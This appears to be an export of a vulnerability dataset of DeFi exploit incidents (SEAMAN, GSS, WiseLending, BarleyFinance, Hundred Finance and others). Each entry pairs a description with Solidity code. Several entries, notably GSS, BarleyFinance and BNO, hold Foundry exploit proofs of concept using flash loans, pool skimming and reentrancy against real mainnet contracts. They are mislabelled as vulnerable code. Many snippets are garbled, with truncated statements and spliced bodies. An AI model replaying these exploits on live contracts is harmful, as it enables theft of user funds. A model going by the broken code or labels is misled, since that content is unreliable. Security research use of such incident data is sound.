Farseen0/scar-pairs huggingface dataset:
HIGH severity: SEAMAN — Business Logic Flaw. https://twitter.com/CertiKAlert/status/1597513374841044993 https://twitter.com/BeosinAlert/status/1597535796621631489

Vulnerable code:
hToken = IERC20(0xDB95FBc5532eEb43DeEd56c8dc050c930e31017e);//GVC
lpToken = IERC20(0xDB95FBc5532eEb43DeEd56c8dc050c930e31017e);//GVC
function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_isBot;
    path[0] = address(this);
    path[1] = address(usdt);
    path[2] = address(token);
    // make the swap
    uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( //vulnerable point
        tokenAmount,
        0, // accept any amount of ETH
        path,
        to,
        block.timestamp
    );
}

Vulnerability type: Incorrect logic
HIGH severity: GSS — The attack began with a loan of USDT. By manipulating the price-to-total supply relationship on PancakeSwap, the attacker unbalanced the GSS pool and distorted the GSS price. This allowed the final swap from GSS to USDT to yield more USDT for the attacker.. https://twitter.com/bbbb/status/1694571228185723099

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$24883 USD$
// Attacker : https://bscscan.com/address/0x84f37f6cc75ccde5fe9ba99093824a11cfdc329d
// Attack Contract : https://bscscan.com/address/0x69ed5b59d977695650ec4b29e61c0faa8cc0ed5c
// Attack Tx : https://bscscan.com/tx/0x4f8cb9efb3cc9930bd38af5f5d34d15ce683111599a80df7ae50b003e746e336

// @Analysis
// Twitter Guy : https://twitter.com/bbbb/status/1694571228185723099

contract ContractTest is Test {
    address private constant usdt = 0x55d398326f99059fF775485246999027B3197955;
    address private constant gss = 0x37e42B961AE37883BAc2fC29207A5F88eFa5db66;
    address private constant gss_usdt_pool = 0x1ad2cB3C2606E6D5e45c339d10f81600bdbf75C0;
    address private constant gss_gssdao_pool = 0xB4F4cD1cc2DfF1A14c4Aaa9E9434A92082855C64;
    address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address private constant dodo_pool = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;

    function setUp() public {
        vm.createSelectFork("bsc", 31_108_559 - 1);
        vm.label(usdt, "USDT");
        vm.label(gss, "GSS");
        vm.label(gss_usdt_pool, "GSS_USDT_POOL");
        vm.label(gss_gssdao_pool, "GSS_GSSDAO_POOL");
        vm.label(pancakeRouterV2, "PANCAKE_ROUTER_V2");
        vm.label(dodo_pool, "DODOPool");
    }

    function testExploit() public {
        IDPPOracle(dodo_pool).flashLoan(0, 30_000 ether, address(this), new bytes(1));
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        swap(usdt, gss, 30_000 ether);
        IERC20(gss).transfer(gss_usdt_pool, 707_162_351_662_098_288_993_328);

        IPancakePair(gss_usdt_pool).skim(gss_gssdao_pool);
        IPancakePair(gss_usdt_pool).sync();
        IPancakePair(gss_gssdao_pool).skim(address(this));

        swap(gss, usdt, IERC20(gss).balanceOf(address(this)));

        // pay back
        IERC20(usdt).transfer(msg.sender, 30_000 ether);
        emit log_named_decimal_uint("Attacker USDT balance after exploit", IERC20(usdt).balanceOf(address(this)), 18);
    }

    function swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
        IERC20(tokenIn).approve(pancakeRouterV2, type(uint256).max);
        address;
        path[0] = tokenIn;
        path[1] = tokenOut;
        IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn, 0, path, address(this), block.timestamp + 1000
        );
    }
}

Vulnerability type: Price Manipulation, skim
HIGH severity: BGLD — Deflationary token abuse via skim. The exploiter reduces the $BGLD reserve in the pair to a deficient level and then swaps out another token (WBNB).. https://twitter.com/BlockSecTeam/status/1602335214356660225

Vulnerable code:
function _transfer(
    address sender,
    address recipient,
    uint256 amount
) internal {
    require(sender != address(0), "BEP20: transfer from the zero address");
    require(recipient != address(0), "BEP20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");

    uint256 onePercent = _findOnePercent(amount);
    uint256 burnFee = onePercent.mul(2);
    uint256 miningFee = onePercent.mul(4);
    uint256 liquidityFee = onePercent.mul(4);

    if (!_isExcludedFromFee[sender]) {
        require(
            _balances[sender] >
                amount.add(miningFee).add(liquidityFee).add(burnFee), //vulnerable point
            "BEP20: transfer amount + fees exceeds balance"
        );
    }
}

Vulnerability type: Deflationary token, Flashloans, Price Manipulation
HIGH severity: WiseLending — The attacker bypassed Wise Lending's defenses against donation attacks by exploiting the Wise PLP Pool for Pendle LP tokens. They manipulated donation limits and a rounding issue in the `_calculateShares` function by making small initial deposits and strategic donations to maximize the impact of rounding errors.. https://twitter.com/bbbb/status/1712841315522638034 https://twitter.com/BlockSecTeam/status/1712871304993689709

Vulnerable code:
function _calculateShares(
    uint256 _product,
    uint256 _pseudo,
    bool _maxSharePrice
) private pure returns (uint256) {
    return _maxSharePrice == true
        ? _product % _pseudo == 0
            ? _product / _pseudo
            : _product / _pseudo + 1
        : _product / _pseudo;
}

Vulnerability type: Donate, Precision
HIGH severity: BarleyFinance — The lack of reentrancy protection allowed an attacker to exploit flash loans to manipulate the protocol. This vulnerability enabled the attacker to repeatedly mint and de-bond tokens, ultimately draining the liquidity pool and significantly depleting the protocol's assets.. https://twitter.com/Phalcon_xyz/status/1751788389139992824

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$130K
// Attacker : https://etherscan.io/address/0x7b3a6eff1c9925e509c2b01a389238c1fcc462b6
// Attack Contracts : https://etherscan.io/address/0x356e7481b957be0165d6751a49b4b7194aef18d5
// Vuln Contract : https://etherscan.io/address/0x04c80bb477890f3021f03b068238836ee20aa0b8
// Attack Tx : https://phalcon.blocksec.com/explorer/tx/eth/0x995e880635f4a7462a420a58527023f946710167ea4c6c093d7d193062a33b01

// @Analysis
// https://phalcon.blocksec.com/explorer/security-incidents
// https://www.bitget.com/news/detail/12560603890246
// https://twitter.com/Phalcon_xyz/status/1751788389139992824

interface IwBARL is IERC20 {
    function flash(
        address _recipient,
        address _token,
        uint256 _amount,
        bytes memory _data
    ) external;

    function bond(address _token, uint256 _amount) external;

    function debond(uint256 _amount, address;
        token;
        percentage[0] = 100;
        wBARL.debond(wBARL.balanceOf(address(this)), token, percentage);

        BARLToWETH();
        emit log_named_decimal_uint(
            "Exploiter WETH balance after attack",
            WETH.balanceOf(address(this)),
            WETH.decimals()
        );
    }

    function callback(bytes calldata data) external {
        BARL.approve(address(wBARL), BARL.balanceOf(address(this)));
        wBARL.bond(address(BARL), BARL.balanceOf(address(this)));
    }

    function BARLToWETH() internal {
        BARL.approve(address(Router), type(uint256).max);
        bytes memory _path = abi.encodePacked(
            address(BARL),
            hex"002710",
            address(DAI),
            hex"0001f4",
            address(WETH)
        );
        IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router
            .ExactInputParams({
                path: _path,
                recipient: address(this),
                deadline: block.timestamp + 1000,
                amountIn: BARL.balanceOf(address(this)),
                amountOutMinimum: 0
            });
        Router.exactInput(params);
    }
}

Vulnerability type: Reentrancy
HIGH severity: Arbitrary Address Spoofing Attack — The root cause of this incident was that the arbitrary external call function of the forwarder contract was maliciously used by the hacker. Execution using “execute()” and “call()”: The “execute()” function then called the “call()” function, packaging ‘req.data’ and ‘req.from’ as parameters for the “call()” function. The ‘req.to’ was specified as 0x4b0e9a7da8bab813efae92a6651019b8bd6c0a29 (TIME contract), and the selector of the multicall(bytes[]) function was 0xac9650d8.. https://www.immunebytes.com/blog/time-token-hack-dec-7-2023-detailed-analysis-report/

Vulnerable code:
function execute(ForwardRequest calldata req, bytes calldata signature)
    public
    payable
    returns (bool, bytes memory)
{
    require(verify(req, signature), "MinimalForwarder: signature does not match request");
    _nonces[req.from] = req.nonce + 1;

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory result) = req.to.call{ gas: req.gas, value: req.value }(
        abi.encodePacked(req.data, req.from) // <-- vulnerable point, req.data
    );

    if (!success) {
        // Next 5 lines from https://ethereum.stackexchange.com/a/83577
        if (result.length < 68) revert("Transaction reverted silently");
        assembly {
            result := add(result, 0x04)
        }
        revert(abi.decode(result, (string)));
    }
    // Check gas: https://ronan.eth.link/blog/ethereum-gas-dangers/
    assert(gasleft() > req.gas / 63);
    return (success, result);
}

Vulnerability type: Arbitrary call
HIGH severity: EFLeverVault — insufficient validation. Attacker can directly call Flashloan with userData “0x307832” which is bytes “0x2” from balancer and set EFLeverVault as recipient to trigger  _withdraw(loan_amount, fee_amount);  to make vault retain enough ETH. Then attacker can call withdraw to drain out the ETH in [L429](https://etherscan.io/add

Vulnerable code:
function receiveFlashLoan(
    IERC20;
    uint256;
    bytes memory userData = "0x2";
    tokens[0] = weth;
    amounts[0] = loan_amount;
    IBalancer(balancer).flashLoan(address(this), tokens, amounts, userData);

    uint256 to_send = address(this).balance;  // vulnerable point
    (bool status, ) = msg.sender.call.value(to_send)("");  // vulnerable point
    require(status, "transfer eth failed");

    TokenInterfaceERC20(ef_token).destroyTokens(msg.sender, _amount);
    emit CFFWithdraw(msg.sender, to_send, _amount, getVirtualPrice());
}

Vulnerability type: Flashloans, Insufficient validation, Yield
HIGH severity: EGD Finance — Incorrect price calculation by balanceOf. Vulnerable code snippet:
[https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254](https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254)
```jsx
function claimAllReward() external {
        require(userInfo[msg.sender].userStakeList.length >

Vulnerable code:
function claimAllReward() external {
        require(userInfo[msg.sender].userStakeList.length > 0, 'no stake');
        require(!black[msg.sender],'black');
        uint[] storage list = userInfo[msg.sender].userStakeList;
        uint rew;
        uint outAmount;
        uint range = list.length;
        for (uint i = 0; i < range; i++) {
            UserSlot storage info = userSlot[msg.sender][list[i - outAmount]];
            require(info.totalQuota != 0, 'wrong index');
            uint quota = (block.timestamp - info.claimTime) * info.rates;
            if (quota >= info.leftQuota) {
                quota = info.leftQuota;
            }
            rew += quota * 1e18 / getEGDPrice(); // check getEGDPrice()
            info.claimTime = block.timestamp;
            info.leftQuota -= quota;
            info.claimedQuota += quota;
            if (info.leftQuota == 0) {
                userInfo[msg.sender].totalAmount -= info.totalQuota;
                delete userSlot[msg.sender][list[i - outAmount]];
                list[i - outAmount] = list[list.length - 1];
                list.pop();
                outAmount ++;            }
        }
function getEGDPrice() public view returns (uint){
        uint balance1 = EGD.balanceOf(pair);  //vulnerable point
        uint balance2 = U.balanceOf(pair);    //vulnerable point
        return (balance2 * 1e18 / balance1);
    }

Vulnerability type: Dex/AMM, Flashloans
HIGH severity: MBC — Business Logic Flaw & Access Control
The root cause of the issue is a flaw in the MBC contract's implementation. The contract incorrectly uses the addLiquidity() function and mistakenly exposes swapAndLiquifyStepv1() function, which uses the balance of the contract's address as the desired reserve amount for maintaining reserves.
So attacker can call swapAndLiquifyStepV1, which will add a certain amount of MBC and BUSD to the pool to manipulate MBC price.. https://twitter.com/AnciliaInc/status/1597742575623888896 https://twitter.com/CertiKAlert/status/1597639717096460288

Vulnerable code:
function swapAndLiquifyStepv1() public { //vulnerable point
    uint256 ethBalance = ETH.balanceOf(address(this));
    uint256 tokenBalance = balanceOf(address(this));
    addLiquidityUsdt(tokenBalance, ethBalance);
}

function addLiquidityUsdt(uint256 tokenAmount, uint256 usdtAmount) private {
    uniswapV2Router.addLiquidity(
        address(_baseToken),
        address(this),
        usdtAmount,
        tokenAmount,
        0,
        0,
        _tokenOwner,
        block.timestamp
    );
}

Vulnerability type: Access Control, Incorrect logic
HIGH severity: SushiSwap — Insufficient validation. Due to calls is controllable, attacker can execute any function in aution contract. In this case, attacker could batch multiple calls and reuse the same Ether (ETH) to bid in the auction for free.

Vulnerable code:
/// @notice Allows batched call to self (this contract).
/// @param calls An array of inputs for each call.
/// @param revertOnFail If True then reverts after a failed call and stops doing further calls.
/// @return successes An array indicating the success of a call, mapped one-to-one to `calls`.
/// @return results An array with the returned data of each function call, mapped one-to-one to `calls`.
// F1: External is ok here because this is the batch function, adding it to a batch makes no sense
// F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value
// C3: The length of the loop is fully under user control, so can't be exploited
// C7: Delegatecall is only used on the same contract, so it's safe
function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) {
    successes = new bool[](calls.length);
    results = new bytes[](calls.length);
    for (uint256 i = 0; i < calls.length; i++) {
        (bool success, bytes memory result) = address(this).delegatecall(calls[i]); //vulnerable point
        require(success || !revertOnFail, _getRevertMsg(result));
        successes[i] = success;
        results[i] = result;
    }
}

function commitEth(
    address payable _beneficiary,
    bool readAndAgreedToMarketParticipationAgreement
) public payable {
    ...
}

Vulnerability type: Dex/AMM, Insufficient validation
HIGH severity: Hundred Finance — Reentrancy. bridged token on the gnosis chain has a `callAfterTransfer()`hook which makes the reentrancy on token transfer.

Vulnerable code:
function transfer(address _to, uint256 _value) public returns (bool) {
    require(superTransfer(_to, _value));
    callAfterTransfer(msg.sender, _to, _value); //vulnerable point
    return true;
}

function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(super.transferFrom(_from, _to, _value));
    callAfterTransfer(_from, _to, _value);  //vulnerable point
    return true;
}

Vulnerability type: ERC667, Reentrancy, lending
HIGH severity: Rabby wallet — arbitrary external call vulnerability. Since data is controllable by an attacker, so he can perform arbitrary external calls via functionCallWithValue. In this incident, the attacker sends funds out over transferfrom function.

Vulnerable code:
// swap
uint256 amountOut = 0;
dexRouter.functionCallWithValue(data, value, "Liquidity source service error, swap fail.");
if (!dstIsEth) {
    amountOut = dstToken.balanceOf(address(this));
} else {
    amountOut = address(this).balance;
}

// calcFeeAmount
uint256 feeAmount = calcFeeAmount(amountOut);
uint256 dexAmountOut = amountOut - feeAmount;
require(dexAmountOut >= minReturn, "Receiving token is below your slippage setting. Try again with a higher slippage.");

Vulnerability type: Arbitrary call, swap
HIGH severity: N00d Token — The root cause of this incident is the ERC777 token reentrancy which allows attacker to use old `totalSushi` and updated `totalShares` for mint.. The attacker exploits the potential for reentrancy with the ERC777 token (sushi). Within the`enter` function, the reentrancy can be initiated through the `sushi.transferFrom` call. In this function, the `mint` process is invoked first, which updates the total token supply. However, the update of `to

Vulnerable code:
// Enter the bar. Pay some SUSHIs. Earn some shares.
function enter(uint256 _amount) public {
    uint256 totalSushi = sushi.balanceOf(address(this));
    uint256 totalShares = totalSupply();
    if (totalShares == 0 || totalSushi == 0) {
        _mint(msg.sender, _amount);
    } else {
        uint256 what = _amount.mul(totalShares).div(totalSushi);
        _mint(msg.sender, what);
    }
    sushi.transferFrom(msg.sender, address(this), _amount);
}

Vulnerability type: Flashloans, Reentrancy
HIGH severity: UPS — The attacker transfers zero UPStkn to himself for triggering the internal function releasePressure that further burns the pool's 573,300.39 $UPStkn, which lifts the UPStkn's price.. https://twitter.com/QuillAudits/status/1615634917802807297

Vulnerable code:
function releasePressure(address _address) internal {
    uint256 amount = myPressure(_address);
    
    if (amount < balanceOf(UNIv2)) {
        require(_totalSupply.sub(amount) >= _initialSupply.div(1000), "There is less than 0.1% of the Maximum Supply remaining, unfortunately, kabooming is over");
        
        sellPressure[_address] = 0;
        addToSteam(_address, amount);
        
        ERC20._burn(UNIv2, amount); //vulnerable point
        
        _UPSBurned = _UPSBurned.add(amount);
        emit BurnedFromLiquidityPool(_address, amount);
        
        _generateSteamFromUPSBurn(_address);
        emit SteamGenerated(_address, amount);
        
        txCount[_address] = 0;
    } else if (amount > 0) {
        sellPressure[_address] = sellPressure[_address].div(2);
    }
}

Vulnerability type: Incorrect logic, Sandwich
HIGH severity: AES — Manipulate the price via the skim of the BNB-AES pool because AES is a deflationary token.
The attacker sends the AES to the BNB-AES pool and invokes the skim function repeatedly. In this process, the pool's balance is burned, and the swap fee in the AES contract is increased. After that, the attacker invokes the 'distributeFee' function in the AES contract to transfer the swap fee out of the pair directly, thereby increasing the price of the AES token.. https://twitter.com/BlockSecTeam/status/1600442137811689473 https://twitter.com/peckshield/status/1600418002163625984

Vulnerable code:
function _transfer(
    address from,
    address to,
    uint256 amount
) internal override {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");

    if(from == address(this) && to == uniswapV2Pair){
        super._transfer(from, to, amount);
    } else {
        if(automatedMarketMakerPairs[from]) {
            buyTokenAndFees(from, to, amount);
        } else if (automatedMarketMakerPairs[to]) {
            sellTokenAndFees(from, to, amount);  //vulnerable point
        } else {
            super._transfer(from, to, amount);
        }
    }
}

function sellTokenAndFees(
    address from,
    address to,
    uint256 amount
) internal {
    uint256 burnAmount = amount.mul(3).div(100);
    uint256 otherAmount = amount.mul(1).div(100);

    amount = amount.sub(burnAmount);
    swapFeeTotal = swapFeeTotal.add(otherAmount);
    super._burn(from, burnAmount);
    super._transfer(from, to, amount);
}

function distributeFee() public {
    uint256 mokeyFeeTotal = swapFeeTotal.mul(2);
    super._transfer(uniswapV2Pair, monkeyWallet, mokeyFeeTotal);
    super._transfer(uniswapV2Pair, birdWallet, swapFeeTotal);
    super._transfer(uniswapV2Pair, foundationWallet, swapFeeTotal);
    super._transfer(uniswapV2Pair, technologyWallet, swapFeeTotal);
    super._transfer(uniswapV2Pair, marketingWallet, swapFeeTotal);
    swapFeeTotal = 0;
}

Vulnerability type: Deflationary token, Flashloans, Incorrect logic
HIGH severity: Defrost — Reentrancy. Lack of reentrancy lock for the flashloan()/deposit() functions, which was used by the hacker to manipulate the share price of LSWUSDC. https://twitter.com/PeckShieldAlert/status/1606276020276891650

Vulnerable code:
function flashLoan(
    IERC3156FlashBorrower receiver,
    address token,
    uint256 amount,
    bytes calldata data
) external virtual returns (bool) {
    require(token == address(asset),"flash borrow token Error!");
    uint256 fee = flashFee(token, amount);
    onWithdraw(address(receiver),amount);
    require(
        receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
        "invalid return value"
    );
    onDeposit(address(receiver),amount + fee,0);
    emit FlashLoan(msg.sender,address(receiver),token,amount);
    return true;
}

function deposit(uint256 _amount, address receiver) external returns (uint256){
    uint256 amount = _deposit(msg.sender,_amount,receiver);
    emit Deposit(msg.sender,receiver,_amount,amount);
    return amount;
}

Vulnerability type: Dex/AMM, Reentrancy
HIGH severity: BNO — Emergency withdrawals were made without withdrawing the staked NFTs, and the rewardDebt ledger is set to 0, resulting in them still being claimable when the stake was canceled. The attacker repeats this process and obtains a large reward.. https://twitter.com/BeosinAlert/status/1681116206663876610

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IPool {
    function emergencyWithdraw() external;

    function stakeNft(uint256;
        tokenIds[0] = 13;
        tokenIds[1] = 14;
        Pool.stakeNft{value: 0.008 ether}(tokenIds);
        Pool.pledge{value: 0.008 ether}(BNO.balanceOf(address(this)));
        // Emergency withdraw is made without withdrawing the staked NFTs
        Pool.emergencyWithdraw();
        // Stake is canceled but NFTs are still claimable
        Pool.unstakeNft{value: 0.008 ether}(tokenIds);
    }
}

Vulnerability type: Business Logic Flaw